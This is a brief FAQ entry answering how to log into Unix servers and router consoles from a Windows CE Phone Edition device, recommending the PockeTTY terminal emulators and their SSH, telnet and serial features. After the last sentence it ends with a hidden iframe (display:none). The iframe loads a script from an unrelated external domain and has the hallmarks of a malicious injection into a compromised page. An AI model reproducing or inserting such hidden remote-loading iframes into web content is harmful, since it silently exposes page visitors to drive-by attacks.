I'd like to be able to log into a Unix server, and the console port of my routers. A laptop can do this by using hyperterminal. Is there software that will let me do that with the Phone Edition over the internet?

DejaVu Software has a product that will let you do this. PockeTTY™ and PockeTTY Lite™ turn your Windows CE device into a portable terminal emulator. Use them to remotely administer your home Linux machine, check your e-mail at work, or test hardware through a direct connection. PockeTTY offers three kinds of connections: SSH (1 or 2) for secure login sessions complete with port forwarding, telnet for quick unencrypted connections, and serial for direct hardware communication. PockeTTY Lite offers just telnet and serial; a simple alternative for those who don't need SSH (yet).<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>